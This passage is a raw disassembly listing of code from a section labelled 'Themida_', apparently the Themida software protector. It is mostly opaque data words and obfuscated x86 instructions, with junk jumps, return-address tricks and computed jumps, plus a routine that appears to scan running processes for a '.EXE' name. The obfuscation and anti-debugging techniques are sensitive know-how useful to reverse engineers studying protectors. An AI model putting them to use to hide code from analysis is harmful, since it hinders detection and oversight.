		inc	ecx


loc_5DD117:				; CODE XREF: sub_5DCE45+2E1j
		mov	edi, [ebp+arg_4]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5DD117


loc_5DD12C:				; CODE XREF: sub_5DCE45+2C7j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
sub_5DCE45	endp

; ---------------------------------------------------------------------------
		lea	eax, [ebp+0AE8A8EEh]
		mov	[ebp+0AE31B11h], eax
		jmp	loc_5DD280
; ---------------------------------------------------------------------------
		dd 4Fh dup(0)
; ---------------------------------------------------------------------------


loc_5DD280:				; CODE XREF: Themida_:005DD13Fj
		cmp	dword ptr [ebp+0AE31BD9h], 1
		jz	loc_5DD8AF
		jg	loc_5DD29A
		jl	loc_5DD29A
		stc


loc_5DD29A:				; CODE XREF: Themida_:005DD28Dj
					; Themida_:005DD293j
		mov	byte ptr [ebp+0AE31CF1h], 43h
		pusha
		mov	eax, edx
		or	ax, 58FBh
		popa
		jz	loc_5DD2B1
		cld


loc_5DD2B1:				; CODE XREF: Themida_:005DD2AAj
		push	0E2FA600Ah
		pusha
		js	loc_5DD2BF
		mov	dl, bh


loc_5DD2BF:				; CODE XREF: Themida_:005DD2B7j
		pusha
		jmp	loc_5DD2D3
; ---------------------------------------------------------------------------
		db 9Ah,	86h, 50h
		dd 5110AFC9h, 3F49929h
		db 7Fh,	1Ch, 6Ch
; ---------------------------------------------------------------------------


loc_5DD2D3:				; CODE XREF: Themida_:005DD2C0j
		push	edx
		pop	eax
		popa
		popa
		xor	dword ptr [esp], 0E5FB0FFh
		js	loc_5DD2E5
		cld


loc_5DD2E5:				; CODE XREF: Themida_:005DD2DEj
		push	dword ptr [ebp+0AE32F11h]
		push	0
		push	ebx
		call	sub_5DD2F6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD2F6	proc near		; CODE XREF: Themida_:005DD2EEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5DD2F6	endp

; ---------------------------------------------------------------------------
		test	al, 0B6h
		test	bl, ch
		adc	ebx, [eax+4353E798h]
		cld
		jmp	loc_5DD31D
; ---------------------------------------------------------------------------
		dw 0EEC1h
; ---------------------------------------------------------------------------
		and	eax, 8CC8157Eh


loc_5DD31D:				; CODE XREF: Themida_:005DD311j
		pusha
		jz	loc_5DD329
		mov	ecx, 31C4BA81h


loc_5DD329:				; CODE XREF: Themida_:005DD31Ej
		popa
		lea	eax, [ebp+0AE6ACF3h]
		cmc
		call	eax
		jno	loc_5DD33A
		stc


loc_5DD33A:				; CODE XREF: Themida_:005DD333j
		jmp	loc_5DD34B
; ---------------------------------------------------------------------------
		retf	6491h
; ---------------------------------------------------------------------------
		dw 69A3h
		dd 39B8AE23h
		db 0E8h, 4Ch, 11h
; ---------------------------------------------------------------------------


loc_5DD34B:				; CODE XREF: Themida_:loc_5DD33Aj
		mov	[ebp+0AE31065h], eax
		push	0
		push	ebp
		call	sub_5DD35C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD35C	proc near		; CODE XREF: Themida_:005DD354p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5DD35C	endp

; ---------------------------------------------------------------------------
		dd 0F0E4EE1Eh, 0D03A5C45h, 10E9h, 0A98E7600h, 0F55F4DD9h
		dd 5E95A5A5h, 0CE812A59h, 85C6F59Ah, 0AE31CF1h,	11E950h
		dd 0B0620000h, 0B262A688h, 61AEAA97h, 0A4C797F5h, 0FFE9D60h
		dd 180h, 4E8F900h, 56000000h, 50A8ADADh, 52506052h, 585A310Fh
		dd 14E9h, 3985AC00h, 47026FF3h,	8C2D1BBBh, 0C960904Fh
		dd 0F318F69Fh, 310F619Ch, 8F0F5250h, 0
		dd 840F310Fh, 0
		dd 585A585Ah, 0C8B0F50h, 0F000000h, 683h, 820F00h, 8B000000h
		dd 50042444h, 52506052h, 585A310Fh, 1BDA82BAh, 310F6154h
		dd 860F60h, 8A000000h, 585A61D8h, 5250008Bh, 10E9h, 0CA8A4700h
		dd 0CBF99356h, 0E884235Fh, 0CE7B83D1h, 50310F2Ch, 8A0F52h
		dd 0F000000h, 0F525031h, 5A585A31h, 89585A58h, 60042444h
		dd 0B966ABB1h, 5861D03Dh, 1870F60h, 0FC000000h,	820F56h
		dd 59000000h, 11B5FF61h, 600AE32Fh, 13E8h, 0E2548800h
		dd 21751A97h, 7AB3FD49h, 2F0D38C4h, 2F8B40E7h, 59F78B66h
		dd 8D6197B2h, 0E6ACF385h, 0BE9600Ah, 8A000000h,	0BB2177A3h
		dd 0E1D0856Dh, 79B4DAD1h, 8B606061h, 0CE9C3h, 193A0000h
		dd 822CD7B5h, 1707BDA4h, 0E8618C98h, 12h, 5848DA32h, 0C4D8B71Ch
		dd 560CB026h, 0F2713F3Dh, 5AFC4F2Ch, 6AD0FF61h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 4092C356h, 0E3F93BCCh, 0CE86085h, 0C7000000h, 0ADE4A1F4h
		dd 7C6623A1h, 0F8640560h, 8961F85Fh, 0E31F7985h, 55006A0Ah
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 5A77361Ah, 2D1A5F6Ch, 890FF555h, 15h, 10E9h,	0DF577C00h
		dd 7FEDFAADh, 279D4BC6h, 339AE408h, 0CE4868DBh,	0AE9760Dh
		dd 9000000h, 4F58A120h,	0A181270Ch, 240481EFh, 7A81D9E7h
		dd 11B5FFF8h, 600AE32Fh, 6060D18Bh, 6112B761h, 0F3858D61h
		dd 600AE6ACh, 880A9CBBh, 61ADB52Dh, 6AD0FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0C2BE03C3h
		dd 0BC1D975h, 518589C9h, 6A0AE31Ch, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3F16C353h
		dd 0F8748110h, 0C6FCB9E6h, 0E31CF185h, 880F500Ah, 14h
		dd 6AF68160h, 0E929FFACh, 7, 6D567C7Ch,	61DD4172h, 4E8F8h
		dd 0DC560000h, 10E9979Ch, 5B000000h, 0CFD8485Ah, 1162BFBAh
		dd 46F18902h, 5095AE96h, 0F525060h, 8Ah, 66310F00h, 5A5318B9h
		dd 0EEB96658h, 448B616Dh, 52500424h, 66616060h,	6185CBBBh
		dd 5250310Fh, 9E9h, 0EF8ADA00h,	802A7E60h, 310FCE5Fh, 0EE9h
		dd 2C1D00h, 669D98FEh, 0FD793CC6h, 5A84A9E3h, 8B585A58h
		dd 50525000h, 8E952h, 1BE50000h, 0DB4997A7h, 310FC301h
		dd 870Fh, 585A0000h, 5250310Fh,	310F6160h, 8E9h, 11FA7900h
		dd 26A47D4Ah, 5A585A90h, 24448958h, 8860F04h, 60000000h
		dd 0B9665E53h, 5861D43Bh, 0B5FFF5FCh, 0AE33145h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BCC35040h, 3AF9858Dh
		dd 880F0AE3h, 1, 0D0FFF8FCh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0D3C35141h,	1FCCE47Ah, 0E96AFE42h
		dd 13h,	0D9FD7FAAh, 3F373079h, 91BF3F0Bh, 0CFDF6987h, 89912E5Bh
		dd 0E3079585h, 0BF0F600Ah, 0F38B66D8h, 169E961h, 50F80000h
		dd 1F8B0Fh, 52500000h, 0EE9h, 65C4AD00h, 0D26EE275h, 0DBDF157Fh
		dd 0F9BA7CFh, 0F525031h, 5A585A31h, 242C8958h, 0FCEC8BF9h
		dd 6AFCC483h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 7D3FC350h, 1C15EAC7h, 0BE9h, 0ED48A500h
		dd 573E7FD5h, 81B1E5A1h, 0E850F60h, 0E9000000h,	9, 0B05777A9h
		dd 0E94841D7h, 0E824h, 815A0000h, 0E8B2D0EAh, 0FC45C70Ah
		dd 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [edx+0AE31BD9h], 1
		jz	loc_5DD875
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+0AE31065h]
		pop	edx
		mov	[edx+0AE8AC52h], eax
		lea	ebx, [edx+0AE8AC56h]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+0AE31F79h]
		pop	edx


loc_5DD805:				; CODE XREF: Themida_:005DD82Fj
					; Themida_:005DD863j
		push	edx
		lea	ebx, [edx+0AE8AC56h]
		push	ebx
		push	dword ptr [edx+0AE8AC52h]
		call	dword ptr [edx+0AE30795h]
		pop	edx
		or	eax, eax
		jz	short loc_5DD86E
		lea	ebx, [edx+0AE8AC56h]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5DD829:				; CODE XREF: Themida_:005DD839j
		cmp	ecx, 104h
		jz	short loc_5DD805
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5DD829
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+0AE326C9h]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+0AE326C9h]
		push	eax
		call	dword ptr [edx+0AE31C51h]
		pop	edx
		or	eax, eax
		jnz	short loc_5DD805
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5DD875
; ---------------------------------------------------------------------------


loc_5DD86E:				; CODE XREF: Themida_:005DD81Cj
					; Themida_:005DD883j
		mov	dword ptr [ebp-4], 0


loc_5DD875:				; CODE XREF: Themida_:005DD7D7j
					; Themida_:005DD86Cj
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_5DD892
; ---------------------------------------------------------------------------
		jo	short loc_5DD86E
		cld
		cld
		add	[esi+5578CB04h], ebx
		mov	esp, [edx-1Bh]
		xor	al, 0C5h


loc_5DD892:				; CODE XREF: Themida_:005DD87Ej
		js	loc_5DD8A6
		jmp	loc_5DD8A6
; ---------------------------------------------------------------------------
		db 84h,	0ABh, 0CCh
		dd 0F3FE7DB4h
; ---------------------------------------------------------------------------
		sub	ah, [ebx]


loc_5DD8A6:				; CODE XREF: Themida_:loc_5DD892j
					; Themida_:005DD898j
		popa
		cld
		jl	loc_5DD8AF
		cmc


loc_5DD8AF:				; CODE XREF: Themida_:005DD287j
					; Themida_:005DD8A8j
		mov	edx, edx
		jmp	loc_5DD8CB
; ---------------------------------------------------------------------------
		dw 868h
		dd 90Dh, 3 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5DD8CB:				; CODE XREF: Themida_:005DD8B1j
		jmp	loc_5DDE21
; ---------------------------------------------------------------------------
		dd 7F2BE497h, 0C7B36C1Ah, 4337F082h, 0CEBC7D0Eh, 4802C58Bh
		dd 8F31AB5Fh, 14BB9E4Ch, 952267D3h, 0E1ABEE5Ch,	1BDF7426h
		dd 0F6F82750h, 0B03FE3Bh, 42C80349h, 2C9E596Fh,	0E268A3E9h
		dd 1182FD8Fh, 0B89E2074h, 0A63A2093h, 0DD7DBAC3h, 0A29D2D6Eh
		dd 107953B8h, 0C8ADAD6Ah, 0EEC34780h, 90FB1FD8h, 0B03BC2F6h
		dd 9A83F3F0h, 0D273A0D8h, 11CAFE10h, 9A576459h,	0C68B3D50h
		dd 4B8578B1h, 34ED9AFFh, 2EDB4536h, 0D0CB190Eh,	41B434F9h
		dd 0CA9C8B55h, 0DA5FF37h, 0BF5BB568h, 0D996503Bh, 0AAB7E7DBh
		dd 83440B6Eh, 8D64D4A7h, 0C87F4959h, 0EC256C8Ch, 481BA042h
		dd 0A713C603h, 5D9D5662h, 0EC3A052Eh, 2972BB60h, 46DF1A00h
		dd 0F77326D5h, 0DF1A7BA4h, 6FA95246h, 19B4E0CBh, 93CC46DFh
		dd 414CF9CFh, 61444776h, 30000000h, 42C80349h, 0DFAB2A59h
		dd 571B4446h, 4C8B3356h, 0D056EF00h, 0E86C4776h, 0DF9F9AC3h
		dd 43887346h, 0EB50FA3Dh, 19FA1h, 490F0000h, 6144C601h
		dd 0F87C9E59h, 0DC38F385h, 2B0FC8FDh, 8AC607B6h, 83440B6Eh
		dd 5D962287h, 36A3CEBDh, 9AB0C7C6h, 0A2D698B9h,	0FC0ED071h
		dd 645911CEh, 0DF2F9B54h, 0E8B30749h, 46DFAABFh, 0E7FD6596h
		dd 12245F34h, 90497A5Fh, 4CCE818Ah, 64E62169h, 16F87A9Bh
		dd 71F5A566h, 5018910Ah, 0DD37687Ah, 5D93CCFCh,	0F8314611h
		dd 402D2985h, 66288D8Dh, 0A956B9A1h, 5F610405h,	98827B0Ah
		dd 6394C0B3h, 4776F4CAh, 99FEh,	749AE00h, 5F6346C4h, 0AB93BCEFh
		dd 816A46DFh, 56F43558h, 0BD2832E5h, 84C8DA84h,	2B29743h
		dd 780C61C9h, 0AB7AA3C8h, 0A85346DFh, 1A7F9BF5h, 24942669h
		dd 0DFAB4E77h, 81742746h, 5BFFB299h, 6C1376F4h,	5DCAFABh
		dd 9E588845h, 0DF76A215h, 0A3983513h, 6DB04776h, 8000000h
		dd 2BBEE7B4h, 144746DFh, 46DF2BEBh, 5AC1D9C2h, 7D941F1Dh
		dd 137D307Eh, 0C4074913h, 9D5A6346h, 5E33277Dh,	44DF6D2Eh
		dd 623F4FD2h, 74A0ABAFh, 0C3F515D9h, 3F4F2208h,	0A7F15AC0h
		dd 149DB23h, 0AAC1EAB1h, 0E79446DFh, 0AAEF1843h, 0D5C646DFh
		dd 87B3F862h, 2146DFABh, 54093AA4h, 9962E821h, 0D0E39CBFh
		dd 1E94776h, 95000000h,	24540549h, 0DE1FAEEBh, 0FE1CCF3Ch
		dd 2E95E67Ah, 9A636181h, 0BBB2DB2Eh, 0E08B46DEh, 0FC3745B4h
		dd 74FE575Eh, 327E092h,	0BBB3DC8Fh, 0B3AD46DEh,	0B7A7767Fh
		dd 311B001Ah, 1EDF9B49h, 0DF9E244Dh, 5F12F946h,	900CD09Bh
		dd 98833CFCh, 246D1F72h, 4AB15996h, 0DAEE2397h,	83B2F961h
		dd 543BFC8Fh, 117475F9h, 5BA0AA6Dh, 0B7701871h,	1FA8EC3h
		dd 4D14A419h, 0C0EC13Ah, 0BE501233h, 0E219D10Ah, 4D95CC45h
		dd 1744Fh, 0A2A63F00h, 0DFE386A4h, 6F3C3C18h, 3CFCA8AFh
		dd 1F3B5E6h, 0CC618AD1h, 47343BFBh, 6C304714h, 9378E25Fh
		dd 69ED6D20h, 4B854274h, 29E15A6Eh, 4F1CA4D4h, 3BFC0726h
		dd 14A88CFFh, 0B47447Dh, 0E165E558h, 8542086Dh,	0FC3F4972h
		dd 256F1C3Bh, 0CF4B8434h, 0F313DF70h, 5F2C0EC9h, 0F7A42A58h
		dd 3BFC22CEh, 0D281F4A7h, 0D7B39D3Ch, 95C28B34h, 0A2D2B74Dh
		dd 3E1AE169h, 550Ch, 23A87800h,	510D99Dh, 0D982A819h, 46DF6FB0h
		dd 0B0BA9685h, 6DE149BDh, 57814608h, 0E1338B54h, 1139E2CFh
		dd 0DFE7618Ah, 0B67105C6h, 0CE893194h, 0E93C14F5h, 61E95CAFh
		dd 20581A33h, 0F4EB77EEh, 86D515F9h, 4FE269BDh,	9E596D00h
		dd 0D58576B2h, 0A433h, 35A86B00h, 0C30D4780h, 72390107h
		dd 3CFC9322h, 21848675h, 97EAA09Bh, 7B202AE5h, 3BFC93B9h
		dd 0FE1CDFE1h, 2931F69Bh, 0EF3FA398h, 5FA91CDBh, 25ACB0DBh
		dd 0A41BED41h, 0F111DD68h, 885A10CBh, 70F476D0h, 90266B1Dh
		dd 9548B357h, 0AB6C1075h, 2EE993F8h, 0B2F5DF2Ch, 321509C9h
		dd 7AA3C84Ch, 5346D429h, 4F3C6CA8h, 0E9A2D6CBh,	4CAB4174h
		dd 0CE6CDF1Bh, 0B9F8214Ah, 0DECD46D3h, 0F64F46F2h, 9375756Ch
		dd 491B0457h, 89723CECh, 7DBACCA1h, 3FB3B713h, 0FC69436Ch
		dd 55061A3Bh, 3BFC692Ch, 6DA71A01h, 9523A839h, 72C608FDh
		dd 6196BFECh, 0BC6F46DFh, 85458FC9h, 0BF4A783h,	623CF7F0h
		dd 0BC5E992Fh, 1B7E9C4Fh, 81C4B671h, 0FB2477FBh, 0D23BF6B1h
		dd 0C7D47629h, 391243EAh, 29F9659Ah, 9FF2A863h,	0B52832EDh
		dd 4243C700h, 0F39969F5h, 7D0F4238h, 8E69882h, 0B6000000h
		dd 2D5134C8h, 497EAEEAh, 6C41C902h, 267E35Ch, 3B9EBC75h
		dd 0D2B75394h, 8CE169A2h, 0A61B3FF8h, 5336D415h, 0F62E82Fh
		dd 0B99A807Fh, 76F168h,	24148900h, 81E68956h, 4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 0FB682414h, 89000022h,	0EC81241Ch
		dd 4, 0BD242C89h, 49F800C6h, 0F0B318BAh, 5DEA01C0h, 8904EC83h
		dd 4812424h, 424h, 0AC685B00h, 8900006Bh, 438F2414h, 2434FF08h
		dd 4C4835Bh, 5A2434FFh,	0E904C483h, 0FFFAC68Dh,	0B58B168Bh
		db 11h
; ---------------------------------------------------------------------------


loc_5DDE21:				; CODE XREF: Themida_:loc_5DD8CBj
		mov	eax, 0AE8B8C2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 98D2h
		dd 452A1242h, 0BBCC5EBDh, 0F8E576C0h, 36FE3188h, 0D8AB09ECh
		dd 144E558Eh, 0CEAD1B84h, 0D3F36497h, 31036E7Bh, 0E6C1569h
		dd 0AB567FEFh, 0A6DD635Fh, 0DBD6EB7h, 164671CBh, 216A7CE4h
		dd 685F4B22h, 7E88365Dh, 8E5F5466h, 30C64360h, 60AB3632h
		dd 0ACF63F69h, 75C5076h, 10DD02DCh, 0BBB327Dh, 0B339496Fh
		dd 0DD994926h, 80E42BA8h, 80E51328h, 0CE065447h, 0B03B370Ah
		dd 515B7297h, 8D8D50FDh, 0AE8BA8Dh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 9C35141h, 0D17887EAh, 8AF63173h
		dd 0ED8589D3h, 890AE310h, 0E314798Dh, 0D08B600Ah, 1E49BD89h
		dd 0C7610AE3h, 0E306C985h, 5E800Ah, 0D0B70F00h,	6985C7h
		dd 0AE3h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0A50F6FC3h, 8C59D01h, 0BE90AE3h
		dd 0C2000000h, 79DE17EDh, 0A86CDD3Fh, 0B5FF4EB1h, 0AE305CDh
		dd 1A85B58Bh, 95FF0AE3h, 0AE326B5h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0A9C35242h,	0D375E4Bh, 0E10109E4h
		dd 1EC0BA66h, 99B58B50h, 5A0AE32Eh, 95FF006Ah, 0AE31CD1h
		dd 2BEBC08Bh, 4D796C5Ch, 867437FFh, 0E3F2FE1Ah,	185F7AB4h
		dd 0FC7FA312h, 5C22EBAh, 3A4880Eh, 87DE3D2Fh, 4E7A5DACh
		dd 4293718Eh, 0E83402EAh, 9, 407C46A7h,	2B51E216h, 8E935h
		dd 547A0000h, 8F3E6714h, 89599B2Bh, 0E3309DBDh,	2DC1810Ah
		dd 0BE000069h, 5B6C3F6h, 1A14B8h, 8E900h, 0A2E10000h, 0C7EF673Bh
		dd 398BE98Ch, 0EF81D98Bh, 36FF3837h, 12E9h, 744B900h, 70155674h
		dd 0D7BCE37Ah, 0FD99D02Dh, 810ADCC3h, 5DAFD1F7h, 0D0F78179h
		dd 0E90772DCh, 0Fh, 9F4B78B1h, 0C00B5218h, 0A7090291h
		dd 57907665h, 2EDDB589h, 18F0AE3h, 21618D09h, 0E9810AE3h
		dd 68EE26Ch, 1EF5958Bh,	0C1810AE3h, 68EE268h, 1AED8D01h
		dd 0E8830AE3h, 1C850F01h, 8B000000h, 0E32DF195h, 2BE90Ah
		dd 0CDAF0000h, 37595516h, 0E63A629Eh, 0CE747FEBh, 0FBC8917h
		dd 582h, 0CE816600h, 63E939F4h,	0E4FFFFFFh, 0C6A41DE1h
		dd 0DDCB47D2h, 266E900h, 66600000h, 0C1F6D98Ch,	35840F04h
		dd 6A000000h, 45B5FF01h, 8D0AE331h, 0E6ACF385h,	89D0FF0Ah
		dd 0E31BFD85h, 0C1FE8B0Ah, 680CEFh, 6A200600h, 57026A00h
		dd 1000D68h, 0FD95FF00h, 0E90AE31Bh, 32h, 1CF185C6h, 68560AE3h
		dd 0A9C530DFh, 2F11B5FFh, 858D0AE3h, 0AE6ACF3h,	8589D0FFh
		dd 0AE31629h, 1AA5858Dh, 6A500AE3h, 56056A40h, 162995FFh
		dd 0C3610AE3h, 3 dup(0)
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+0AE8BC26h], eax
		mov	eax, [edx+0Ch]
		mov	[ebp+0AE8BC1Eh], eax
		mov	eax, [edx+10h]
		mov	[ebp+0AE8BC22h], eax
		lea	esi, [ebp+0AE8BC5Ch]
		lea	eax, [ebp+5B8EA1h]
		call	eax
		popa
		pop	edx
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	esi, [ebp+0AE8BC26h]
		mov	eax, [ebp+0AE8BC1Eh]
		cmp	dword ptr [ebp+0AE8BC22h], 0
		jz	loc_5DE16E
		mov	[esi], eax
		jmp	locret_5DE170
; ---------------------------------------------------------------------------


loc_5DE16E:				; CODE XREF: Themida_:005DE161j
		mov	[esi], al

locret_5DE170:				; CODE XREF: Themida_:005DE169j
		iret
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 0D48B5200h, 8428B60h, 0BC268589h, 0B58D0AE8h, 0AE8BCADh
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 0AE8BC26h,	8B0004C2h
		dd 0E8BC2685h, 89008B0Ah, 0E8BC2685h, 0CF0Ah, 89600000h
		dd 0E8BC83B5h, 7F85890Ah, 8D0AE8BCh, 0E3325185h, 44408B0Ah
		dd 0BCBC8589h, 0B58D0AE8h, 0AE8BCF2h, 8EA1858Dh, 0D0FF005Bh
		dd 83858B61h, 0C30AE8BCh, 0BC7F9D8Bh, 0B70F0AE8h, 0D8033C43h
		dd 3785B8Bh, 0E8BC7F9Dh, 24738B0Ah, 0BC7FB503h,	8B560AE8h
		dd 738B207Bh, 7FBD031Ch, 30AE8BCh, 0E8BC7FB5h, 0C983FC0Ah
		dd 9D8B41FFh, 0AE8BC83h, 9503178Bh, 0AE8BC7Fh, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 0AE8BC7Fh, 0BC838589h, 0F08B0AE8h, 0C18BCE8Bh
		dd 0BCBCBD81h, 0AE8h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh
		dd 8E9h, 12E8C100h, 3FF825h, 0BCBD8B00h, 830AE8BCh, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 0BCBCBD81h, 0AE8h
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 0BCBD8100h, 0AE8BCh,	0FC03000h, 0E84h, 3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 0BC2A858Dh, 85890AE8h, 0AE308F5h
		dd 0BCC0858Dh, 85890AE8h, 0AE31F6Dh, 0BC87858Dh, 85890AE8h
		dd 0AE31331h, 0AE8h, 0FCFD4800h, 0D4F35030h, 0F690C39h
		dd 665EDBBFh, 0D174F381h, 658BC681h, 830F0000h,	3, 2BC1B70Fh
		dd 0E88156C9h, 3B15605Ah, 3134FF5Ah, 0CE9h, 0F141C00h
		dd 9DCD9470h, 0B47DDA89h, 12E95FECh, 0E000000h,	86267230h
		dd 0C08C1054h, 2C8571C8h, 0A19A0288h, 0C0C78192h, 0B02D2B7Bh
		dd 0F2EF814Eh, 602E058Bh, 0BB10B866h, 5E8h, 0C2578900h
		dd 8E9FC54h, 89000000h,	0A7D01BE0h, 59D28372h, 0C5C78161h
		dd 572BF50Ah, 48F0AB7h,	18E0F0Eh, 0F5000000h, 0B204E983h
		dd 1CF98147h, 0FFFFF9Bh, 0FFFF8485h, 0DBB70FFFh, 1AE9h
		dd 0A992A500h, 27h, 4 dup(0)
		dd 0E9000000h, 50Eh, 17C33C4Fh,	9F4B8432h, 1BCF08BAh, 0E6549526h
		dd 60DA1DA3h, 0A7E9D307h, 2C53B664h, 0ADDA3FEBh, 39438674h
		dd 73070CFEh, 0F6EBFF28h, 0E32BD63Bh, 42C80349h, 64A3EB8Eh
		dd 7CBFC128h, 0C6014B8Eh, 0E05B6144h, 0B877077Ah, 541E3792h
		dd 1DCD06B2h, 94569338h, 17C18DE7h, 0DF141B44h,	0D609F246h
		dd 80CCD955h, 7BB4C538h, 12CBFADFh, 0BAE79508h,	0C635D50Eh
		dd 0E592F713h, 3CD12E2Ch, 90A9C6B2h, 0C48F3CCEh, 0D68477B0h
		dd 924D7F12h, 0EE295346h, 0EF133F6Ch, 30AD46DEh, 6CED9AAEh
		dd 0BCD14776h, 4082CE0Bh, 94h, 0E3764F8h, 0E746DEE3h, 49C4D834h
		dd 1962C803h, 0DBC713C8h, 9EBA9605h, 0EC1546DAh, 0E646DEFFh
		dd 3D9C9B85h, 869AF0FFh, 0DED4ACD5h, 279A8146h,	0D58BBAEDh
		dd 0B82546DEh, 6951236h, 0B9F4776h, 0DB000000h,	0C8EB1447h
		dd 0D9C246DEh, 149AFFFh, 0ED8044C6h, 0C4351FD8h, 0FCD179B6h
		dd 0A10C0ECBh, 9E2CFE60h, 0AB5C85D6h, 4A3146DFh, 0DAEE2397h
		dd 0EB93C2F7h, 6AD1792Ch, 0EB6FC3B7h, 0DFAB97C0h, 0C53D6E46h
		dd 61920CD3h, 95C664D7h, 46DF646Ch, 2E7E5A41h, 46C40749h
		dd 5E9C5B63h, 0AB6891DAh, 0D83D46DFh, 62E971B6h, 0E55E6AAFh
		dd 9EBA9665h, 0C0228CA1h, 4A8F7BBCh, 45B2453Eh,	0E3CD0CE5h
		dd 3B72A30h, 4CF146C4h,	1E29C6E2h, 6F234776h, 53000000h
		dd 66C40749h, 9C2C7D03h, 0E154A7A3h, 92469279h,	0EE4C8B3Fh
		dd 0D701C68Bh, 25894623h, 8278B3C5h, 5CFE394Fh,	77935479h
		dd 0F5D39F80h, 4776D658h, 5070h, 7491C00h, 0E8246C4h, 0DFAB345Dh
		dd 36620946h, 0DD7DBAC3h, 911D6F8h, 2228E194h, 0AAD4FDAEh
		dd 0C2A946DFh, 0A6D29CB5h, 15BBDE5Ah, 0E34F86D2h, 0C0BA7D03h
		dd 8344096Ch, 1495549h,	2B5744C6h, 4546DFABh, 0F5725618h
		dd 0FF4776D0h, 1, 0C20549AFh, 0D9E18458h, 0B5C7321Eh, 78D1D07Ah
		dd 0A56214F6h, 8D7B7FF5h, 9C3AFEADh, 0A6553CFCh, 40BBC1A4h
		dd 89D2568Ah, 3BFC9A60h, 0F2203F12h, 0C2D88759h, 0EE9AFFD9h
		dd 2A511535h, 0DBEC3535h, 21024E3Ah, 3BFC90F2h,	0F713CCFAh
		dd 2228E192h, 1F19C570h, 4E701505h, 9184ADFEh, 0B2593BFCh
		dd 55665BFFh, 0D2857694h, 3E34F86h, 79A2C979h, 4C3BFC91h
		dd 2B4EEC5Fh, 9E6AA661h, 34D611BBh, 6AF02B51h, 66284DEDh
		dd 652B9A1h, 0F98363CFh, 14E84C3Eh, 0FC911E47h,	0C804F73Bh
		dd 95CA9E27h, 148924Dh,	52D60000h, 0FC84E009h, 8AC6B53Bh
		dd 32A2A69Ah, 0FBC04A83h, 17949D51h, 64D78A32h,	1DD595C6h
		dd 0D3B83CFCh, 89427217h, 8236AB4Fh, 0EB6FA8DFh, 98FDAD60h
		dd 5F1337F0h, 0C9518A3Ah, 0E06AA7D4h, 0D6CA81Bh, 0AD66127Fh
		dd 4EE750FAh, 0FD8EE3E4h, 0D3F9D03Ch, 1CA9A218h, 144D955Eh
		dd 46h,	0A3A7A680h, 6E0BD487h, 0B962CFE1h, 0ABE10A91h
		dd 5490C6DFh, 184B8C31h, 0D8793644h, 80BD9796h,	125E2DDEh
		dd 0DCEC9765h, 0F4EB755Fh, 0C68FDC1Eh, 0DF4FE178h, 0E18A0E2Ch
		dd 46DFA1B8h, 0D6B29E8Dh, 0A530h, 0A2A66400h, 0F2A03F24h
		dd 1CCF6F22h, 0E8115ADEh, 0BD46DF44h, 0F27682CEh, 0E2853D89h
		dd 272518D1h, 0D1E7AD5h, 3CFBD3BDh, 4A2F2BD0h, 3015C53Eh
		dd 0E0CB4F88h, 3BFC041Eh, 8E60C27Bh, 523901FAh,	0D5E0808h
		dd 3BFC7FE4h, 589FD2B9h, 6EE0D3B1h, 0A19DA342h,	60C44490h
		dd 90039D1Bh, 0A7F14CBCh, 893D9D5Dh, 8C7FCC4Eh,	0CFA12AAEh
